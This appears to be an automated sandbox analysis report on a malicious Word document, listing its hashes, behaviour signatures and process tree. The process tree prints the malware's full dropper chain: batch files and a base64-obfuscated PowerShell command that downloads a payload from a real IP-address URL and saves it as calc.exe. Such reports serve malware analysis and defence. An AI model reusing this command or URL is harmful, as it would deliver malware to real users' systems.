Overview

overview

10

Static

static

8

Services_r...27.doc

windows7_x64

10

Services_r...27.doc

windows10_x64

10

Analysis

  • max time kernel
    57s
  • max time network
    67s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    09/07/2020, 09:21

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Services_rates_2020_5827.doc

  • Size

    216KB

  • MD5

    0cf66a8acb001dec28b7b435eb99f5dc

  • SHA1

    dedfea0359abf9a86fda23c08e5f104fee2381da

  • SHA256

    c349284b06e9b48111c6c52601acb120e869b3762dda91b19acb9918302c1ff0

  • SHA512

    bd09fd21ef0a3fdad49847f9332b1246f094a4922f010568e6e2d7b634e7484bba4c7084b91c83b363aff4dcf675cc0002c43cf2387f44b5a2cacdf3aeb4d9bf

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://192.99.255.45/nK4BkocTY7jz.php

Signatures

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Services_rates_2020_5827.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:112
    • C:\Windows\system32\cmd.exe
      cmd /c C:\Users\Public\hg32j.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      • Process spawned unexpected child process
      PID:1072
      • C:\Windows\system32\cmd.exe
        cmd /c mkdir C:\Users\Public\kjh4ek
        3⤵
          PID:1496
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /C powershell -Command (New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovLzE5Mi45OS4yNTUuNDUvbks0QmtvY1RZN2p6LnBocA==')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXGNhbGMuZXhl')))
        2⤵
        • Suspicious use of WriteProcessMemory
        • Process spawned unexpected child process
        PID:1704
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command (New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovLzE5Mi45OS4yNTUuNDUvbks0QmtvY1RZN2p6LnBocA==')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXGNhbGMuZXhl')))
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Blacklisted process makes network request
          • Suspicious use of AdjustPrivilegeToken
          PID:1840
      • C:\Windows\system32\cmd.exe
        cmd /c C:\Users\Public\kjh4ek\ndj34h.bat
        2⤵
        • Suspicious use of WriteProcessMemory
        • Process spawned unexpected child process
        PID:1816
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /C choice /C Y /N /D Y /T 50
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1856
          • C:\Windows\system32\choice.exe
            choice /C Y /N /D Y /T 50
            4⤵
              PID:1356

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/112-2-0x0000000008AB0000-0x0000000008AB4000-memory.dmp

        Filesize

        16KB

        Download

      • memory/112-3-0x0000000006EA0000-0x00000000070A0000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/112-4-0x0000000006EA0000-0x00000000070A0000-memory.dmp

        Filesize

        2.0MB

        Download